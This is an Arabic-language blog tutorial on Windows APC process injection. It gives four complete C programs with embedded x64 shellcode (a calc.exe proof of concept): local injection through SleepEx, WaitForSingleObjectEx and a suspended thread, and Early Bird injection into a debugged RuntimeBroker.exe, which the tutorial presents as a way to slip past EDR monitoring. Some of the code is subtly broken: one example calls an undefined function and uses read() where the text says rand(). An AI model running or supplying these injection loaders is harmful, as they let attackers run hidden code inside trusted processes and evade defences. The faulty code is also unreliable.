السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ
اللَّهُمَّ صَلِّ عَلَى مُحَمَّدٍ وَعَلَى آلِ
مُحَمَّدٍ ، كَمَا صَلَّيْتَ عَلَى إِبْرَاهِيمَ وَآلِ
إِبْرَاهِيمَ ، إِنَّكَ حَمِيدٌ مَجِيدٌ ، وَبَارِكْ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ ، كَمَا
بَارَكْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ ، إِنَّكَ حَمِيدٌ مَجِيدٌ ،
✨🌙 هَلَّ هِلالُ الخَيْرِ ، فَأسألُ اللهَ أنْ يَملأ قُلوبَكم بالنُّورِ واليقينِ ، مُبَارَكٌ
عَلَيكُمُ
الشَّهْرُ 🌙✨
[+] فـ المقالتين اللـ فاتوا اتكلمنا عن الـ DLL Injection والـ Shellcode Injection وشوفنا إزاي نقدر نـ inject شيل كود أو ملف DLL فـ بروسيس ، سواء local أو Remote.
[+] المرة دي بقي هنتكلم عن الـ APC Injection
، ودي طريقة تانية من طرق الـ Process Injection اللـ
بتعتمد ع
ميكانيزم موجود فـ الويندوز اسمه Asynchronous Procedure Calls (APCs).
[+] طيب يعني إيه APC ؟
قبل مـ نتكلم عن الـ APC Injection ، خلينا
الأول نفهم يعني إيه APC (Asynchronous Procedure Call).
APC Queue لكل
Thread ، ودي عبارة عن Queue أو قائمة انتظار فيها دوال المفروض
الثريد ينفذها فـ وقت معين .. الفكرة هنا إن بعض الدوال فـ الويندوز بتسمح للبرامج إنها تضيف دوال
جديدة للقائمة دي ، بحيث لما الثريد يوصل لحالة معينة ، ينفذ الدوال دي بشكل تلقائي.APC Queue الخاصة بالثريد ده ، ولما الثريد
يوصل لحالة معينة ، ينفذها ع طول تلقائي.[+] طب إزاي الـ APC Queue بتشتغل؟
كل Thread فـ الويندوز عنده APC Queue خاصة بيه
،
بس الدوال اللـ فيها مش بتتنفذ ع طول ، لازم الثريد يكون
فـ حالة اسمها Alertable State عشان يبدأ ينفذ
الدوال اللـ فـ الـ Queue.
[+] إمتى الثريد بيدخل فـ الـ Alertable State؟
فيه دوال معينة فـ الويندوز بتخلي الثريد يدخل الـ Alertable State زي:
APC Queue الخاصة بيه تلقائيا ..
وتقدر تشوف المصدر من [هنا]:
[+] طب إيه علاقة الكلام ده بالـ Injection؟
إحنا ممكن نستغل الـ APC Queue عشان نحقن كود
داخل Thread معين ، خصوصا لو الثريد ده فـ الـ Alertable
State
، والفكرة ببساطة إننا بنضيف Shellcode أو دالة معينة لقائمة الـ APC Calls الخاصة بالثريد ، ولما ييجي
وقت تنفيذها ، الكود بتاعنا هيشتغل جوه البروسيس اللـ إحنا مستهدفينها.
[+] إزاي ممكن نستخدمه بشكل عملي؟
فيه طرق مختلفة لاستغلال الـ APC Injection
عشان ننفذ كود داخل بروسيس تانية ، زي:
()QueueUserAPC عشان نضيف كود معين يتنفذ فـ
المرة
الجاية اللـ يدخل فيها الثريد الحالة دي .. زي مثلا لو برنامج بيستخدم ()SleepEx بدل ()Sleep ، ممكن
نستغل الموضوع ونضيف APC Call وقت نوم الثريد.
Suspended ،
ونحقن فيه الشيل كود ، وبعدين نستخدم APC Injection عشان نضمن
إنه يتنفذ قبل مـ البروسيس يبدأ شغله الفعلي .. وده أسلوب بيتم استخدامه لتجاوز بعض آليات الحماية زي
الـ EDRs اللـ بتراقب نشاط البروسيس بعد التشغيل.
Global Atom Table ، وبعدين بيتنفذ داخل بروسيس
تانية باستخدام
APC Injection.
[+] تعالي هقولك شوية أمثلة ع استخدامات الـ APC فـ الويندوز :
()ReadFileEx و ()WriteFileEx اللـ بتسمح بالقراءة والكتابة
بدون مـ توقف البرنامج.
()SleepEx
بدل ()Sleep العادية ، ممكن خلال الوقت ده
يستقبل وينفذ
APC Calls ، وده بيفيد البرامج اللـ مش عايزة
تبقى متوقفة تماما وعايزة تقدر تستجيب لأي حدث يحصل أثناء
النوم.
()WaitForSingleObjectEx .. فـ الحالة دي ، لو
فـ أي APC Calls متسجلة للثريد ، هتتنفذ تلقائيا وقت
الانتظار بدل مـ يبقى البرنامج واقف تماما.
Message Queue بسرعة وكفاءة ، ودا بيخليها أكتر
سلاسة وأقل
تهنيج.
Kernel Mode) ،
الويندوز بيستخدم APC علشان يسمح لكود المستخدم (User Mode) إنه
يتفاعل مع الأحداث اللـ بتحصل فـ الخلفية ، زي استجابة تعريفات الهاردوير أو إدارة الميموري ، وكدا
يعني.
Debugging Tools) بتستخدم APC
علشان تدخل كود معين جوا البرنامج اللـ بيتم تصحيحه ، وده
بيساعد فـ تتبع الأكواد أو تنفيذ بعض العمليات الخاصة بالـ Hooking & Tracing.
كل السيناريوهات دي بتوضح إن الـ APC Mechanism
مش مجرد حاجة ثانوية ، إنما هو جزء أساسي فـ كيفية تشغيل
التطبيقات فـ الويندوز ، وده السبب اللـ بيخلينا نقدر نستغله فـ الـ Process Injection.
[+] بعد المقدمة الطويلة دي واللـ كانت لازم عشان تكون فاهم .. هنتكلم عن:
[+] هنتكلم عن دالتين تبع الـ Windows API ، واللـ هنشوف من خلالهم إزاي نخلي الثريد فـ الـ
Alertable State عشان نقدر ننفذ الـ APC
Injection.
الـ ()SleepEx دي دالة بتخلي الثريد ينام لفترة
معينة مع إمكانية تنفيذ APC Calls وقت النوم
.. تعالي
ندخل ع الكود والخطوات:
()SleepEx عشان تخلي الثريد
ينام
بس فـ وضع الـ Alertable ، وده معناه إنه يقدر ينفذ أي APC Calls موجودة فـ الـ APC Queue بتاعته
وقت النوم.
VirtualAlloc, memcpy & VirtualProtect قبل كده
.. الجزء الجديد بتاع الـ QueueUserAPC
..
ودي بتستخدم لإضافة APC للـ APC Queue الخاصة بثريد معين.
CreateThread ،
والثريد ده بيكون فـ الـ Alertable State عشان
يقدر يستقبل APC Calls ، بعد كده بتستدعي
ApcInjectionFunc عشان تحقن الـ Shellcode فـ
الـ Thread اللـ تم إنشاؤه.
[+] يلا نـ رن :
[+] الكود النهائي :
#include <Windows.h>
#include <stdio.h>
unsigned char Payload[] = {
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"};
BOOL ApcInjectionFunc(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[!] VirtualAlloc Failed with Error : %d \n", GetLastError());
return FALSE;
}
memcpy(pAddress, pPayload, sPayloadSize);
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed with Error : %d \n", GetLastError());
return FALSE;
}
if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
printf("[!] QueueUserAPC Failed with Error : %d \n", GetLastError());
return FALSE;
}
}
VOID AlertableFunction() {
SleepEx(INFINITE, TRUE);
}
int main() {
HANDLE hThread = NULL;
hThread = CreateThread(NULL, NULL, &AlertableFunction, NULL, NULL, NULL);
if (hThread == NULL) {
printf("[!] CreateThread Failed with Error : %d \n", GetLastError());
return FALSE;
}
if (!ApcInjectionFunc(hThread, Payload, sizeof(Payload))) {
return -1;
}
printf("[i] Press <Enter> to Quit ...");
getchar();
return 0;
}
[+] هنتكلم ع طريقة تانية بتخلي الـ Thread فـ Alertable State زي ()SleepEx ، وهي الـ
()WaitForSingleObjectEx .. والفرق إن بدل مـ
الثريد بيكون مجرد نايم ومستني (sleep) ، هنا هو بيستنى حدث معين (Event) يحصل ، و الثريد مش
بيشتغل لحد
مـ يحصل الحدث ده ، بس لو فـ APC Call متسجلة علية ،
الويندوز هينفذها وقت الانتظار ، وده بيسمح بتنفيذ كود معين فـ نفس التوقيت من غير مـ الثريد يخرج من
حالة الانتظار.
[+] يلا نشوف الكود :
()CreateEvent عشان
ينشئ حدث (Event) ، وده بيكون زي Signal أو إشارة كدا يقدر
الثريد يستناها.()WaitForSingleObjectEx
بتخلي الثريد يستنى الحدث ده لوقت غير محدود (INFINITE) ، بس
مع
تشغيل Alertable Mode (TRUE) ، وده
معناه إنه لو فـ APC Call متسجلة ع الثريد ، هتتنفذ وقت
الانتظار.CloseHandle(hEvent).
[+] يلا نـ رن :
[+] الكود النهائي :
#include <Windows.h>
#include <stdio.h>
unsigned char Payload[] = {
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"};
BOOL ApcInjectionFunc(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[!] VirtualAlloc Failed with Error : %d \n", GetLastError());
return FALSE;
}
memcpy(pAddress, pPayload, sPayloadSize);
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed with Error : %d \n", GetLastError());
return FALSE;
}
if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
printf("[!] QueueUserAPC Failed with Error : %d \n", GetLastError());
return FALSE;
}
}
VOID AlertableFunction() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent) {
WaitForSingleObjectEx(hEvent, INFINITE, TRUE);
CloseHandle(hEvent);
}
}
int main() {
HANDLE hThread = NULL;
hThread = CreateThread(NULL, NULL, &AlertableFunction, NULL, NULL, NULL);
if (hThread == NULL) {
printf("[!] CreateThread Failed with Error : %d \n", GetLastError());
return FALSE;
}
if (!ApcInjectionFunc(hThread, Payload, sizeof(Payload))) {
return -1;
}
printf("[i] Press <Enter> to Quit ...");
getchar();
return 0;
}
[+] دلوقتي هنتكلم عن الـ Suspended Threads ،
ودي ببساطة ثريدات بننشئها بس بدل مـ تشتغل ع طول ، بتبدأ
وهي
متوقفة (Suspended) ، يعني موجودة فـ الميموري بس مش شغالة لسه .. الميزة فـ الطريقة دي إنك بتاخد وقتك
تعدل عليها أو تحقن فيها كود معين قبل مـ تشغلها يدويا.
[+] يلا نشوف الكود :
Suspended Mode .. الكود اللـ جواها عبارة عن
عمليات حسابية عشوائية باستخدام ()rand ،
وهدفه الأساسي
إنه يكون مجرد جسم للثريد بدون أي تأثير حقيقي.
CREATE_SUSPENDED عشان الثريد يبدأ
متوقف (Suspended) بدل مـ يكون شغال من البداية ، وده
بيدينا تحكم كامل قبل تشغيله.
INFINITE عشان نفضل منتظرين بدون حد زمني معين
، وده بيضمن إن الـ APC اللـ تم حقنها جوه الثريد تاخد
فرصتها فـ التنفيذ قبل مـ البرنامج يكمل.
[+] يلا نـ رن :
[+] الكود النهائي :
#include <Windows.h>
#include <stdio.h>
unsigned char Payload[] = {
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"};
BOOL ApcInjectionFunc(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[!] VirtualAlloc Failed with Error : %d \n", GetLastError());
return FALSE;
}
memcpy(pAddress, pPayload, sPayloadSize);
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed with Error : %d \n", GetLastError());
return FALSE;
}
if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
printf("[!] QueueUserAPC Failed with Error : %d \n", GetLastError());
return FALSE;
}
}
VOID DummyFunction() {
int i = read();
int j = i + read();
}
int main() {
HANDLE hThread = NULL;
hThread = CreateThread(NULL, NULL, &AlertableFunction, NULL, CREATE_SUSPENDED, NULL);
if (hThread == NULL) {
printf("[!] CreateThread Failed with Error : %d \n", GetLastError());
return FALSE;
}
if (!ApcInjectionFunc(hThread, Payload, sizeof(Payload))) {
return -1;
}
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
printf("[i] Press <Enter> to Quit ...");
getchar();
return 0;
}
[+] هنتكلم دلوقتي ع طريقة تانية واللـ بتُستخدم كتير للـ APC Injection وهي الـ Early Bird APC
Injection :
بنـ inject الشيل كود جوا بروسيس جديدة قبل
حتى مـ تبدأ تشتغل
بشكل طبيعي.[+] تعالي أقولك الفكرة والخطوات :
RuntimeBroker.exe بس مش بنشغلها ع طول .. لا ..
بنشغلها فـ وضع التعليق
(Suspended State) باستخدام CreateProcessA مع
DEBUG_PROCESS.
VirtualAllocEx عشان نحجز مساحة فـ ذاكرتها عشان
نضيف
فيها الشيل كود.
WriteProcessMemory عشان نكتب
الشيل كود جوه المساحة اللـ حجزناها فـ ذاكرة العملية.
VirtualProtectEx عشان نغير صلاحيات
المساحة من RW (قراءة وكتابة) إلى RWX (قراءة وكتابة وتنفيذ).
QueueUserAPC عشان نضيف الشيل كود فـ
قائمة انتظار الـ APC الخاصة بالـ Thread الرئيسي
للعملية.
DebugActiveProcessStop ، وده بيخلي
RuntimeBroker.exe يكمل
تشغيله.
[+] تعالي ندخل ع الكود :
sprintf .. واتكلمنا عنها فـ المقالات اللـ
فاتت لو فاكر.Shellcode Injection.
CreateDebuggedProcess ، زي مـ كان فـ
الصورة اللـ فيها الخطوات ، أول خطوة كانت CreateProcessA -
Debug ، وهنا الكود بيستخدم CreateProcessA مع DEBUG_PROCESS عشان يشغل
RuntimeBroker.exe فـ وضع
التصحيح ، وده بيخليها متوقفة مؤقتا بدل مـ تشتغل ع طول.
main func .. وفـ الأول
بيشغل الـ CreateDebuggedProcess عشان
تكون
RuntimeBroker.exe
فـ وضع الـ Debugging ، بعد كده بيتم حقن الشيل كود فـ البروسيس من خلال
InjectShellcodeToRemoteProcess ، بعدين
بنستخدم QueueUserAPC عشان ينضاف الشيل
كود لقائمة الـ APC Queue ، بحيث يتنفذ ع طول ..
بعد كده بيحصل استئناف للبروسيس باستخدام DebugActiveProcessStop ، اللـ بيعمل
Detach للـ Debugger من العملية ويخليها تستمر فـ التنفيذ بشكل طبيعي من غير أي شكوك ، واخر خطوة
بنقفل الهاندل وانت كدا كدا عارف ليه من المقالات اللـ فاتت.
[+] يلا نـ رن :
[+] بس تعالي نشوف تفاصيل أكتر .. هنشغل البرنامج تاني ونفتح الـ Process Hacker
Options > Highlighting هتتأكد
إن اللون ده يعني إنها فـ الـ Debugged Process.
Parent
اللـ شغل البروسيس دي ، والكوماند اللـ
اتكتب عشان تشتغل.
Address ، هتلاقي إن الشيل
كود موجود بس بصلاحيات Read & Write بس.
الصلاحيات إتغيرت والشيل كود نقدر نشغله.
[+] الكود النهائي :
#include <Windows.h>
#include <stdio.h>
#pragma warning (disable:4996)
#define TARGET_PROCESS "Runtimebroker.exe"
unsigned char Payload[] = {
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
};
BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode, PVOID* ppAddress) {
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (*ppAddress == NULL) {
printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("\n[i] Allocated Memory At : 0x%p \n", *ppAddress);
if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("\n[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Press <Enter> to write the Shellcode ... \n");
getchar();
printf("[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
BOOL CreateDebuggedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
CHAR lpPath [MAX_PATH * 2];
CHAR WnDr [MAX_PATH];
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
Si.cb = sizeof(STARTUPINFO);
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
return FALSE;
}
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n[i] Running : \"%s\" ... ", lpPath);
if (!CreateProcessA(NULL, lpPath, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &Si, &Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("[+] DONE \n");
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}
int main() {
HANDLE hProcess = NULL, hThread = NULL;
DWORD dwProcessId = NULL;
PVOID pAddress = NULL;
printf("[i] Creating \"%s\" Process as a Debugged Process ... \n", TARGET_PROCESS);
if (!CreateDebuggedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
return -1;
}
printf("[i] Target Process Created With Pid : %d \n", dwProcessId);
printf("[+] DONE \n\n");
printf("[i] Injecting Shellcode to the Target Process ... \n");
if (!InjectShellcodeToRemoteProcess(hProcess, Payload, sizeof(Payload), &pAddress)) {
return -1;
}
printf("[+] DONE \n\n");
QueueUserAPC((PTHREAD_START_ROUTINE)pAddress, hThread, NULL);
printf("[i] Press <Enter> to Run the Shellcode ... \n");
getchar();
DebugActiveProcessStop(dwProcessId);
printf("[+] DONE \n\n");
CloseHandle(hProcess);
CloseHandle(hThread);
printf("[i] Press <Enter> to Quit ... \n");
getchar();
return 0;
}
وبكدا . أتمني تكون استفدت حاجه .. ونلتقي فـ مقالة قادمة .. ولو عندك أي تعليق ، استفسار ، أي حاجه ..
متترددش وكلمني.
وابقي إدعيلي عشان داخل الجيش الفتره الجاية .. مصصصصر محتاجاني :(
خدلك لفة فـ المصادر والمراجع يا عزيزي: